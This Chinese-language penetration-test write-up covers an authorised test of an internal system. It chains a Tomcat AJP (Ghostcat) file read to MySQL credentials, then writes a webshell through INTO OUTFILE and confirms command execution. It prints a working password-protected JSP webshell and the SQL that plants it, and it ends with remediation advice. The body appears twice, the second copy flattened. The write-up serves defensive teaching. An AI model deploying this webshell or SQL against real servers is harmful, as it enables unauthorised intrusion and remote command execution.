未授权访问漏洞的利用链:一口气到getshell的实践
字数 1651 2025-08-29 22:41:38

未授权访问漏洞利用链实战:从AJP任意文件读取到GetShell

一、漏洞利用背景

本案例记录了一个完整的渗透测试过程,从发现未授权访问漏洞开始,通过AJP任意文件读取漏洞获取数据库凭证,最终实现GetShell的全过程。目标系统为公司内部系统,测试已获得授权。

二、漏洞利用详细步骤

2.1 初始信息收集

  1. 端口扫描
    • 使用Nmap扫描发现目标运行Windows Server 2008
    • 开放了8009端口(AJP协议)
    • 系统较老,可能存在MS17-010(永恒之蓝)等漏洞

2.2 AJP任意文件读取漏洞利用

  1. 漏洞验证

    • 使用AJP任意文件读取POC验证漏洞存在
    • 通过漏洞读取服务器上的敏感配置文件
  2. 获取数据库凭证

    • 从配置文件中发现MySQL数据库账户:mysql:password
  3. 数据库权限检查

    • 登录MySQL数据库
    • 检查FILE权限:SELECT * FROM mysql.user WHERE File_priv='Y'
    • 检查secure_file_priv设置:SHOW VARIABLES LIKE 'secure_file_priv'
      • 必须为空或指定目录才能写入文件

2.3 通过数据库写入WebShell

  1. 写入WebShell

    • 确认有写入权限后,执行SQL语句写入JSP木马:
    SELECT '<%if("pass".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>' 
    INTO OUTFILE 'D:/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/shell.jsp';
    
  2. WebShell验证

    • 访问/shell.jsp?pwd=pass&cmd=whoami
    • 确认执行系统命令成功

2.4 目录爆破补充利用

  1. 改进目录爆破

    • 使用dirsearch工具时添加-r参数进行递归爆破
    • 发现新的文件上传接口
  2. 获取绝对路径

    • 通过上传接口的提交按钮意外获取网站部署绝对路径:
      d:\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\

三、漏洞利用成功确认

  • 通过写入的WebShell执行系统命令
  • 确认获得的权限级别很高,无需进一步提权

四、系统安全弱点分析

外部可见问题:

  1. 信息泄露

    • 报错信息暴露敏感路径
    • 系统版本信息暴露
  2. 认证缺陷

    • 缺乏口令强度机制
    • 无防爆破机制
  3. 逻辑漏洞

    • 存在越权访问漏洞

内部安全问题:

  1. 权限配置不当

    • 数据库和网站权限过高
  2. 漏洞修复滞后

    • 存在2020年的老漏洞未修复
  3. 防护措施缺失

    • 未部署EDR(终端检测与响应)、HIDS(主机入侵检测系统)等防护工具
    • 简单的木马无需免杀即可执行

五、修复建议

  1. AJP协议安全

    • 禁用或限制AJP协议访问
    • 更新Tomcat到最新版本修复AJP漏洞
  2. 数据库安全

    • 修改默认数据库密码
    • 限制数据库账户权限,移除不必要的FILE权限
    • 设置secure_file_priv为NULL或严格限制的目录
  3. 系统加固

    • 升级老旧操作系统(Windows Server 2008)
    • 及时安装安全补丁,特别是MS17-010等严重漏洞
  4. 应用安全

    • 隐藏敏感错误信息
    • 实现严格的权限控制
    • 对上传功能进行严格限制和过滤
  5. 安全监控

    • 部署EDR和HIDS等防护工具
    • 建立文件完整性监控
    • 实施Web应用防火墙(WAF)
  6. 安全开发

    • 修复代码中的逻辑错误
    • 实施安全编码规范
    • 进行定期的安全代码审计

六、技术要点总结

  1. AJP协议利用

    • AJP(Apache JServ Protocol)是Tomcat与Web服务器通信的协议
    • CVE-2020-1938(Ghostcat)等漏洞可导致任意文件读取
  2. 数据库写Shell条件

    • 需要数据库账户有FILE权限
    • secure_file_priv不能设置为限制写入
    • 需要知道网站绝对路径
  3. WebShell设计

    • 示例中使用的是密码保护的JSP WebShell
    • 通过参数pwd验证,cmd执行系统命令
  4. 目录爆破技巧

    • 递归爆破(-r参数)可发现深层目录
    • 结合其他信息泄露可提高成功率

本案例展示了如何将多个漏洞串联形成完整的攻击链,强调了纵深防御和安全配置的重要性。

未授权访问漏洞利用链实战:从AJP任意文件读取到GetShell 一、漏洞利用背景 本案例记录了一个完整的渗透测试过程,从发现未授权访问漏洞开始,通过AJP任意文件读取漏洞获取数据库凭证,最终实现GetShell的全过程。目标系统为公司内部系统,测试已获得授权。 二、漏洞利用详细步骤 2.1 初始信息收集 端口扫描 : 使用Nmap扫描发现目标运行Windows Server 2008 开放了8009端口(AJP协议) 系统较老,可能存在MS17-010(永恒之蓝)等漏洞 2.2 AJP任意文件读取漏洞利用 漏洞验证 : 使用AJP任意文件读取POC验证漏洞存在 通过漏洞读取服务器上的敏感配置文件 获取数据库凭证 : 从配置文件中发现MySQL数据库账户: mysql:password 数据库权限检查 : 登录MySQL数据库 检查FILE权限: SELECT * FROM mysql.user WHERE File_priv='Y' 检查 secure_file_priv 设置: SHOW VARIABLES LIKE 'secure_file_priv' 必须为空或指定目录才能写入文件 2.3 通过数据库写入WebShell 写入WebShell : 确认有写入权限后,执行SQL语句写入JSP木马: WebShell验证 : 访问 /shell.jsp?pwd=pass&cmd=whoami 确认执行系统命令成功 2.4 目录爆破补充利用 改进目录爆破 : 使用dirsearch工具时添加 -r 参数进行递归爆破 发现新的文件上传接口 获取绝对路径 : 通过上传接口的提交按钮意外获取网站部署绝对路径: d:\Apache Software Foundation\Tomcat 6.0\webapps\ROOT\ 三、漏洞利用成功确认 通过写入的WebShell执行系统命令 确认获得的权限级别很高,无需进一步提权 四、系统安全弱点分析 外部可见问题: 信息泄露 : 报错信息暴露敏感路径 系统版本信息暴露 认证缺陷 : 缺乏口令强度机制 无防爆破机制 逻辑漏洞 : 存在越权访问漏洞 内部安全问题: 权限配置不当 : 数据库和网站权限过高 漏洞修复滞后 : 存在2020年的老漏洞未修复 防护措施缺失 : 未部署EDR(终端检测与响应)、HIDS(主机入侵检测系统)等防护工具 简单的木马无需免杀即可执行 五、修复建议 AJP协议安全 : 禁用或限制AJP协议访问 更新Tomcat到最新版本修复AJP漏洞 数据库安全 : 修改默认数据库密码 限制数据库账户权限,移除不必要的FILE权限 设置 secure_file_priv 为NULL或严格限制的目录 系统加固 : 升级老旧操作系统(Windows Server 2008) 及时安装安全补丁,特别是MS17-010等严重漏洞 应用安全 : 隐藏敏感错误信息 实现严格的权限控制 对上传功能进行严格限制和过滤 安全监控 : 部署EDR和HIDS等防护工具 建立文件完整性监控 实施Web应用防火墙(WAF) 安全开发 : 修复代码中的逻辑错误 实施安全编码规范 进行定期的安全代码审计 六、技术要点总结 AJP协议利用 : AJP(Apache JServ Protocol)是Tomcat与Web服务器通信的协议 CVE-2020-1938(Ghostcat)等漏洞可导致任意文件读取 数据库写Shell条件 : 需要数据库账户有FILE权限 secure_file_priv 不能设置为限制写入 需要知道网站绝对路径 WebShell设计 : 示例中使用的是密码保护的JSP WebShell 通过参数 pwd 验证, cmd 执行系统命令 目录爆破技巧 : 递归爆破( -r 参数)可发现深层目录 结合其他信息泄露可提高成功率 本案例展示了如何将多个漏洞串联形成完整的攻击链,强调了纵深防御和安全配置的重要性。